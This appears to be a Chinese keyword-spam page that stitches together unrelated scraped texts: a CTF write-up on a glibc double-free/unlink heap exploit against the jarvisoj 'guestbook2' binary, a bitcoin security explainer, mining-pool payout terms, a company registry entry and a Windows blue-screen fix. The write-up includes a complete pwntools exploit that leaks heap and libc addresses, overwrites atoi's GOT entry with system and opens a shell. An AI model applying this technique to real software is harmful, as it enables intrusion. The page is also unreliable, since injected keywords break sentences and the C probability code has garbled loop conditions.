exp区块链 区块链xrp

泰达币 153 0

本篇文章给大家谈谈exp区块链,以及区块链xrp对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。

Double Free浅析(泄露堆地址的一种方法)

所以好像和普通exp区块链的堆溢出伪造chunk然后free触发unlink造成固定地址写exp区块链,并进而造成任意地址读和任意地址写。

我也不知道哪位大佬写的资料1

Linux堆漏洞之Double free 不要说话

jarvisoj Guestbook2          wooy0ung

拿jarvisoj上的一道 guestbook2 来作为例子。

首先涉及到关于unsorted bin的一些知识exp区块链

为了伪造chunk通过unlink的验证,我们需要找到一个指向堆地址的指针,之前写的 unlink浅析 里面有提到,程序功能常常使用一个chunk_list来存储所有malloc申请到的内存,那么chunk_list就可以作为我们指向堆地址的指针。这道题里则是先malloc一块大的内存作为chunk_list,所以我们需要先泄露得到chunk_list的地址,从而伪造chunk。

释放0号堆块时,由于其前后都不是空闲堆块所以不会发生合并,又因为大小为0x80所以会被放入unsorted bin当中,此时fd 和 bk都指向main arena中的一块区域,此时可以通过uaf泄露libc基址(可以参考 UAF获取main_arena地址泄露libc基址 ,这道题没有采用此方法);同样的,释放2号堆块时也不会发生合并,且被放入unsorted bin,并和0号堆块构成双向链表:

此时chunk0的bk是指向chunk2的,由于程序读取输入后没有在结尾加'\x00'之类的截断,这里可以通过:

新申请的’12345678‘将覆盖chunk0的fd,printf('%s')会连带着把后面的指向chunk2的bk也打印出来,完成堆地址的泄露。

因为是第2个堆块,所以:

heap_base=heap_addr - (0x80+0x10)*2 - (0x1810+0x10)

获得了heap_base之后我们就可以计算指向所有申请的chunk的指针,这里我们利用chunk0来进行unlink,其相对heap_base的偏移地址为0x30:

chunk_addr=heap_base+0x30

完成泄露后把所有的chunk都释放掉:

现在的堆块状态:

1.首先在chunk0的data区域伪造presize、size、fd和bk,原理和布局同unlink

2.接着在chunk1的data区域添加0x80大小的paddings,溢出到chunk2的起始位置,伪造presize和size

伪造的堆块:

通过设置chunk0的size和chunk2的presize使得fake chunk0变成一个大小为0x80+0x90的大堆块,且作为chunk2的前一个堆块,通过设置chunk2的size使得fake chunk0看起来是空闲的。

chunk3和chunk4的作用是防止free(chunk2)时发生向前合并。

这样free(chunk2)时发生向后合并,执行unlink(fake chunk0),向chunk_addr的位置写入chunk_addr - 0x18

接着调用edit(0)将可控chunk_addr位置的8字节

类似unlink的利用方法,向*(chunk_addr)写入0x18字节的paddings,接着将覆盖chunk_addr的内容,这里还要考虑到程序定义的结构体里的inuse位和note length,所以payload应为:

紧接着show(0)将泄露出atoi的实际地址,从而leak libc基址

同样的:

将把atoi的got表写入system的地址,然后在选择功能的时候输入'/bin'sh',程序将会执行atoi('/bin/sh'),实际上就是执行了system('/bin/sh')

get shell!

附上exp:

from pwn import *

p=process('./guestbook2')

e=ELF('./guestbook2')

libc=ELF('./libc-2.25.so')

def add(data):

p.recvuntil('Your choice: ')

p.sendline('2')

p.recvuntil('Length of new post: ')

p.sendline(str(len(data)))

p.recvuntil('Enter your post: ')

p.send(data)

def show():

p.recvuntil('Your choice: ')

p.sendline('1')

def edit(index,data):

p.recvuntil('Your choice: ')

p.sendline('3')

p.recvuntil('Post number: ')

p.sendline(str(index))

p.recvuntil('Length of post: ')

p.sendline(str(len(data)))

p.recvuntil('Enter your post: ')

p.send(data)

def remove(index):

p.recvuntil('Your choice: ')

p.sendline('4')

p.recvuntil('Post number: ')

p.sendline(str(index))

add('a')

add('a')

add('a')

add('a')

remove(0)

remove(2)

add('12345678')

show()

p.recvuntil('12345678')

heap_addr=u64(p.recv(4).ljust(8,'\x00'))

heap_base=heap_addr-0x1810-0x10-0x120

chunk_addr=heap_base+0x30

print 'heap base address: ',hex(heap_base)

print 'chunk list address: ',hex(chunk_addr)

remove(0)

remove(1)

remove(3)

gdb.attach(p,'b* 0x400bc2')

size0 = 0x90+0x80

add(p64(0)+p64(size0+1)+p64(chunk_addr-0x18)+p64(chunk_addr-0x10))

add("a"*0x80+p64(size0)+p64(0x90)+"a"*0x80+(p64(0)+p64(0x91)+"a"*0x80)*2)

remove(2)

payload='a'*8+p64(1)+p64(8)+p64(e.got['atoi'])

edit(0,payload)

show()

p.recvuntil('0. ')

leak_addr=u64(p.recv(6).ljust(8,'\x00'))

print hex(leak_addr)

libc_base=leak_addr-libc.symbols['atoi']

system_addr=libc_base+libc.symbols['system']

print 'system_address: ',hex(system_addr)

#gdb.attach(p,'b* 0x400f7c')

edit(0,p64(system_addr))

p.recvuntil('Your choice: ')

p.sendline('/bin/sh')

p.interactive()

比特币如何防止篡改

比特币网络主要会通过以下两种技术保证用户签发的交易和历史上发生的交易不会被攻击者篡改:

非对称加密可以保证攻击者无法伪造账户所有者的签名;

共识算法可以保证网络中的历史交易不会被攻击者替换;

非对称加密

非对称加密算法3是目前广泛应用的加密技术exp区块链,TLS 证书和电子签名等场景都使用了非对称的加密算法保证安全。非对称加密算法同时包含一个公钥(Public Key)和一个私钥(Secret Key),使用私钥加密的数据只能用公钥解密,而使用公钥解密的数据也只能用私钥解密。

请点击输入图片描述

图 2 - 非对称加密特性

比特币使用了非对称加密算法保证每一笔交易的安全,网络中的每一个账户(地址)都是一对秘钥中的公钥,账户的所有者会持有私钥,下面就是一对刚刚生成的比特币地址和私钥4:

Address:     13RTT8MsbAj7o4zL7w4DNNuuwhgGgHqLnK

Private Key: 469d998dd4db3dfdd411fa56574e52b6be318f993ca696cc5c683c45e8e147eb

需要注意的是,使用网站生成比特币地址和私钥是极其危险的做法,exp区块链我们并不清楚网站是否会存储私钥,所以建议使用比特币的客户端生成公私钥对。

任何人通过上面的地址 13RTT8MsbAj7o4zL7w4DNNuuwhgGgHqLnK 都可以向该账号转账;账号的持有者也可以使用私钥签名交易向其exp区块链他地址转账,当exp区块链我们想要向比特币网络中提交一笔新的交易时,需要先构建一个如下所示的交易结构:

{

  "txid":"5be7a9e47f56c98e5297a44df52da0475f448ece98bb51489103cdf70653092f",

  "hash":"5be7a9e47f56c98e5297a44df52da0475f448ece98bb51489103cdf70653092f",

  "version":1,

  "size":224,

  "vsize":224,

  "locktime":0,

  "vin": [...],

  "vout": [...],

  "hex":"0100000001a90b4101e6cbb75e1ff885b6358264627581e9f96db9ae609acec98d72422067000000006b483045022100c42c89eb2b10aeefe27caea63f562837b20290f0a095bda39bec37f2651af56b02204ee4260e81e31947d9297e7e9e027a231f5a7ae5e21015aabfdbdb9c6bbcc76e0121025e6e9ba5111117d49cfca477b9a0a5fba1dfcd18ef91724bc963f709c52128c4ffffffff02a037a0000000000017a91477df4f8c95e3d35a414d7946362460d3844c2c3187e6f6030b000000001976a914aba7915d5964406e8a02c3202f1f8a4a63e95c1388ac00000000",

  "blockhash":"0000000000000000000c23ca00756364067ce5e815deb5982969df476bfc0b5c",

  "confirmations":5,

  "time":1521981077,

  "blocktime":1521981077

}

接下来,我们可以使用持有的私钥对整个交易中的全部字段进行签名,然后将签名与交易打包并发送到网络中等待比特币网络的确认就可以了。

在比特币的所有地址中,35hK24tcLEWcgNA4JxpvbkNkoAcDGqQPsP 地址中目前持有 250,000 多个 Bitcoin5,目前的市值大概为 20 亿美元。在只知道地址的情况下,我们来算一下获取该地址对应的私钥需要多长时间。比特币的私钥总共有 256 位,即 22562256 中可能性:

115792089237316195423570985008687907853269984665640564039457584007913129639936115792089237316195423570985008687907853269984665640564039457584007913129639936

目前我们没有较为快捷的破解手段,只能使用暴力破解计算私钥。假设我们使用 IBM 在 2018 年推出的超级计算机 Summit6,它能每秒能做 1.4∗10171.4∗1017 次浮点数计算,假设该计算机可以每秒计算相同次数的公私钥对(计算公私钥对远比一次浮点数计算复杂),想要找到存放 20 亿美元资产的地址对应的私钥需要如下所示的时间:

1.15∗1077365∗86400∗1.4∗1017=2.9∗1052年1.15∗1077365∗86400∗1.4∗1017=2.9∗1052年

我们整个宇宙的存在时间也只是破解该私钥时间的几十亿分之一,所以在目前的计算能力没有革命性突破的前提下,想要通过暴力破解的方式获取公钥对应的私钥只有理论上的可能性,在实践中是完全不可能的7。

共识算法

MySQL 等数据库以行为单位存储数据,而比特币这个分布式数据库中存储的基本单位是区块,区块通过哈希指针连接就会构成一棵树,如下图所示,图中绿色的最长链就是网络的主链。

请点击输入图片描述

图 3 - 区块链和主链

如何让网络中的所有节点对下一个区块中的内容达成共识是比特币需要解决的关键问题,只有让节点对数据达成一致才会保证过去的交易不会被篡改,但是作为在公网运行的分布式数据库,它面对的场景非常复杂,需要解决拜占庭将军问题下的分布式一致性问题。

拜占庭将军问题是 Leslie Lamport 在 The Byzantine Generals Problem 论文中提出的分布式领域的容错问题,它是分布式领域中最复杂、最严格的容错模型8。在该模型下,系统不会对集群中的节点做任何的限制,它们可以向其他节点发送随机数据、错误数据,也可以选择不响应其他节点的请求,这些无法预测的行为使得容错这一问题变得更加复杂。

拜占庭将军问题描述了一个如下的场景,有一组将军分别指挥一部分军队,每一个将军都不知道其它将军是否是可靠的,也不知道其他将军传递的信息是否可靠,但是它们需要通过投票选择是否要进攻或者撤退:

请点击输入图片描述

图 4 - 拜占庭将军问题

区块链技术使用 共识算法 和激励让多个节点在拜占庭将军场景下实现分布式一致性。比特币使用如下的规则让多个节点实现分布式一致性:

引入工作量证明 — 让节点在提交新的区块之前计算满足特定条件的哈希,取代传统分布式一致性算法中,一人一票(或者一节点一票)的设定;

引入最长链是主链的设定 — 只有主链上的交易才被认为是合法交易;

引入激励 — 提交区块的节点可以获得比特币奖励;

通过以上的规则,各个节点会在最长的链上计算哈希,努力提交合法的区块。然而一旦节点中有人掌握了 51% 以上的计算能力,它能通过强大的算力改变区块链的历史。因为区块具有连续性,所以前一个区块的改变会使后一个区块计算的哈希失效,如图 4 所示,如果攻击者需要改变主链中的倒数第三个黄色区块,它需要连续构建四个区块才能完成对历史的篡改,其他的节点才会在这条更长的链上继续计算:

请点击输入图片描述

图 4 - 51% 攻击

1使用如下所示的代码可以计算在无限长的时间中,攻击者持有 51% 算力时,改写历史 0 ~ 9 个区块的概率9:

#include

#include

double attackerSuccessProbability(double q, int z) {

   double p = 1.0 - q;

   double lambda = z * (q / p);

   double sum = 1.0;

   int i, k;

   for (k = 0; k = z; k++) {

       double poisson = exp(-lambda);

       for (i = 1; i = k; i++)

           poisson *= lambda / i;

       sum -= poisson * (1 - pow(q / p, z - k));

   }

   return sum;

}

int main() {

   for (int i = 0; i 10; i++) {

       printf("z=%d, p=%f\\n", i, attackerSuccessProbability(0.51, i));

   }

   return 0;

}

通过上述的计算我们会发现,在无限长的时间中,占有全网算力的节点能够发起 51% 攻击修改历史的概率是 100%;但是在有限长的时间中,因为比特币中的算力是相对动态的,比特币网络的节点也在避免出现单节点占有 51% 以上算力的情况,所以想要篡改比特币的历史还是比较困难的,不过在一些小众的、算力没有保证的一些区块链网络中,51% 攻击还是极其常见的10。

防范 51% 攻击方法也很简单,在多数的区块链网络中,刚刚加入区块链网络中的交易都是未确认的,只要这些区块后面追加了数量足够的区块,区块中的交易才会被确认。比特币中的交易确认数就是 6 个,而比特币平均 10 分钟生成一个块,所以一次交易的确认时间大概为 60 分钟,这也是为了保证安全性不得不做出的牺牲。不过,这种增加确认数的做法也不能保证 100% 的安全,我们也只能在不影响用户体验的情况下,尽可能增加攻击者的成本。

总结

研究比特币这样的区块链技术还是非常有趣的,作为一个分布式的数据库,它也会遇到分布式系统经常会遇到的问题,例如节点不可靠等问题;同时作为一个金融系统和账本,它也会面对更加复杂的交易确认和验证场景。比特币网络的设计非常有趣,它是技术和金融两个交叉领域结合后的产物,非常值得我们花时间研究背后的原理。

比特币并不能 100% 防止交易和数据的篡改,文中提到的两种技术都只能从一定概率上保证安全,而降低攻击者成功的可能性也是安全领域需要面对的永恒问题。我们可以换一个更严谨的方式阐述今天的问题 — 比特币使用了哪些技术来增加攻击者的成本、降低交易被篡改的概率:

比特币使用了非对称加密算法,保证攻击者在有限时间内无法伪造账户所有者的签名;

比特币使用了工作量证明的共识算法并引入了记账的激励,保证网络中的历史交易不会被攻击者快速替换;

通过上述的两种方式,比特币才能保证历史的交易不会被篡改和所有账户中资金的安全。

Mining Pools

常见的几种 :PPLNS、PPS、DGM、P2Pool。

CPPSRB - Capped Pay Per Share with Recent Backpay.

DGM - Double Geometric Method. A hybrid between PPLNS and Geometric reward types that enables to operator to absorb some of the variance risk. Operator receives portion of payout on short rounds and returns it on longer rounds to normalize payments.

ESMPPS - Equalized Shared Maximum Pay Per Share. Like SMPPS, but equalizes payments fairly among all those who are owed.

POT - Pay On Target. A high variance PPS variant that pays on the difficulty of work returned to pool rather than the difficulty of work served by pool.

PPLNS - Pay Per Last N Shares. Similar to proportional, but instead of looking at the number of shares in the round, instead looks at the last N shares, regardless of round boundaries.

PPLNSG - Pay Per Last N Groups (or shifts). Similar to PPLNS, but shares are grouped into "shifts" which are paid as a whole.

PPS - Pay Per Share. Each submitted share is worth certain amoutripnt of BC. Since finding a block requires current difficulty shares on average , a PPS method with 0% fee would be 12.5 BTC divided by current difficulty. It is risky for pool operators, hence the fee is highest.

Prop. - Proportional. When block is found, the reward is distributed among all workers proportionally to how much shares each of them has found.

RSMPPS - Recent Shared Maximum Pay Per Share. Like SMPPS, but system aims to prioritize the most recent miners first.

Score - Score based system: a proportional reward, but weighed by time submitted. Each submitted share is worth more in the function of time t since start of current round. For each share score is updated by: score += exp(t/C). This makes later shares worth much more than earlier shares, thus the miner's score quickly diminishes when they stop mining on the pool. Rewards are calculated proportionally to scores (and not to shares). (at slush's pool C=300 seconds, and every hour scores are normalized)

SMPPS - Shared Maximum Pay Per Share. Like Pay Per Share, but never pays more than the pool earns.

FPPS - Full Pay Per Share. Similar to PPS,but not only divide regular block reward (12.5 BTC for now) but also the transaction fee. Calculate a standard transaction fee within a certain period and distribute it to miners according to their hash power contributions in the pool. It will increase the miners' earnings by 7%-11%.

P2Pool - P2Pool的挖矿节点工作在类似比特币区块链的一种shares链上。由于没有中心,所以也不会受到DoS攻击。和其他现有的矿池技术都不一样—每个节点工作的区块,都包括支付给前期shares的所有者以及该节点自己的比特币。99%的奖励(50BTC+交易费用)会平均分给矿工,另外0.5%会奖励给生成区块的人。

算力

结算方式

10分钟平均算力

1小时平均算力

1天平均算力

有效矿工

无效矿工

算力曲线

收益图表

工作量

幸运曲线

孤块数

孤块率

幸运值

拒绝率

Luck

Blocks / minting timeline

Rewards

Shifts

Live Statistics

Pool Effective Hash Rate

Active Users

Active Workers

Average Round Duration

Current Round Start

Scoring Hash Rate

Recent Hash Rate

Hash Rate Distribution

Hash Rate Per Location

Hash Rate Proof

Maximum Difficulty per minute

Pool Terminology

Pool Payouts

Reward System

Hall of Fame : TOP50 miners by hash rate and found blocks

Stats

Pool DIstribution : Historical Distribution, Pool Distribution (calulate by blocks)

Block Size : Median daily block size, Average daily block size, Number of daily transactions, Sum of daily block size, etc.

Block Version : Version Trend, BIP109(Classic), SegWit, Bitcoin Unlimited.

Unconfirmed Transactions : Mempool Size, Distribution of Transaction Fees.

Difficulty : Next Difficulty Estimated, Date to Next Difficulty.

Transaction Fees : Tx fees per day, Tx fees % of block reward, Tx fees per KB (Tx fees/block size).

Address Rich List : Address Distribution, Balance Distribution

结算模式

为了更好地让利于矿工,BTC矿池于2月17日推出首创的 FPPS结算模式,即Full PPS(完全PPS),对包括交易费在内的全部区块收益进行分配。 相比传统的PPS结算模式(不分配交易费)可提升 5%-9% 左右收益。

什么是幸运值?

矿池爆块存在一定概率因素,爆块速度时快时慢;幸运值在理论值100%上下浮动,当幸运值高时,矿池的收益会增大,反之减小,但这只会影响选择PPLNS的用户。

什么是拒绝数?拒绝率?

拒绝数是指矿机提交的算力不符合服务器要求,被服务器拒绝的工作量。拒绝率是指拒绝数占总提交数的比例,数值越小,矿机的工作效率就越高。

为什么矿机的算力会波动?

所有矿机都存在这样的正常现象,矿机芯片的计算并不是一个稳定输出的过程,只要平均算力和日收益是稳定的即可。除此之外,矿机算力还会因为矿机状态、工作环境、网络不稳定等因素存在波动,矿场管理人员需要注意排查所有相关因素,保护收益的稳定。

什么是爆块/报块?

比特币协议规定全网每10分钟会产生1个区块,矿工完成计算任务,发现新的区块后,会获得约12.5个比特币的奖励,发现新区块又被称为爆块或者报块。

Pool Lucky

Blocks Relayed

Hash rate chart

FPPS-4%’s Profit Ratio to PPS-0%

Yesterday’s Average Earning per Block in FPPS Mode

FPPS vs PPS Dynamic Comparison

Mining Profit Calculator

Bitkan

全网算力

下一难度剩余时间

下一难度剩余块

全网算力趋势

算力分布

全球节点

fiatleak.com - watch the world currencies flow into BTC in realtime

有效矿工数

矿池幸运曲线

SOLO排名榜

矿池算力分布图

矿池难度曲线

普凡达区块链科技(深圳)有限公司怎么样?

普凡达区块链科技(深圳)有限公司是2016-06-08注册成立的有限责任公司,注册地址位于深圳市前海深港合作区前湾一路1号A栋201室(入驻深圳市前海商务秘书有限公司)。

普凡达区块链科技(深圳)有限公司的统一社会信用代码/注册号是91440300MA5DEAAEXP,企业法人彭森,目前企业处于开业状态。

普凡达区块链科技(深圳)有限公司的经营范围是:一般经营项目是:区块链的技术开发、技术咨询、商业咨询服务;计算机软件、信息系统软件的开发、销售;信息系统设计、集成、运行维护;去中心化的数据库建设;游戏软件的开发;链式数据结构研发;高容错的分布式计算系统设计;信息技术咨询;集成电路设计、研发;经营电子商务(依法须经批准的项目,经相关部门批准后方可开展经营活动);国内贸易、经营进出口业务(不含专营、专控、专卖商品)。,许可经营项目是:从事互联网文化活动策划、教育培训、互联网广告业务。

通过爱企查查看普凡达区块链科技(深圳)有限公司更多信息和资讯。

IRQL-NOT-LESS-OR EQUAL是什么意思

1、IRQL-NOT-LESS-OR EQUAL的意思:IRQL不小于或相等。 IRQL是Interrupt ReQuest Level,即中断请求级别的意思。

系统出现这个主要是由Windows非法操作引起的,这个情况其实也就是我们常说的电脑蓝屏。

2、当电脑出现IRQL-NOT-LESS-OR-EQUAL 这串英文提示的时候,其实它一般还会跟它的错误编号一起出现,例如:IRQL-NOT-LESS-OR-EQUA的错误编号是:0x0000000A

出现这种情况的通常原因是: Windows系统中某个硬件驱动发生错误或者是驱动程序跟系统不兼容引起的。

3、解决方法:

(1)重新启动电脑,当出现可用的作系统列表时,按F8键进入Windows的高级选项菜单,选择“最后一次正确配置”,敲击回车键,进入系统。

(2)入系统后,检测一下近期是否有更新某些硬件的驱动,如果是更新了硬件的驱动,建议尝试再次重新安装驱动程序。

(3)如果是近期安装了新的硬件,建议先把新硬件移除后再一次重启电脑,看是否还出现蓝屏的现象,如果系统可以正常启动,就证明是新硬件或者是这个硬件的驱动与电脑系统不兼容。

(4)在安装硬件和硬件驱动时,最好是根据当前系统的版本、操作系统类型以及主板的配置等,从驱动程序的官方网站进行下载。这样可以有效的避免因为驱动程序造成的蓝屏现象。

扩展资料:

避免电脑蓝屏应注意以下几点:

1、定期对重要资料进行备份,避免系统出错后,产生不可挽回的错误。

2、尽量避免非正常关机,减少重要文件的丢失。

3、对一般用户而言,没有特别需要的话就不要去升级显卡、主板的BIOS和驱动程序,避免因为升级而造成危害。

4、尽量不用手工卸载或删除程序,以减少非法替换文件和文件指向错误的出现。

5、如果内存不够大的话,最好不要几个大程序的同时运行,这样会对电脑产生危害的。

6、定期用杀毒软件进行全盘扫描,及时查杀病毒。

7、抵挡诱惑,不要上色情或者赌博网站,对于一些网站上的带有诱惑性的图片和一些中奖的消息,不要点击打开。

8、定期升级操作系统,软件和驱动。

参考资料:百度百科-电脑蓝屏

写到这里,本文关于exp区块链和区块链xrp的介绍到此为止了,如果能碰巧解决你现在面临的问题,如果你还想更加了解这方面的信息,记得收藏关注本站。

标签: #exp区块链

  • 评论列表

留言评论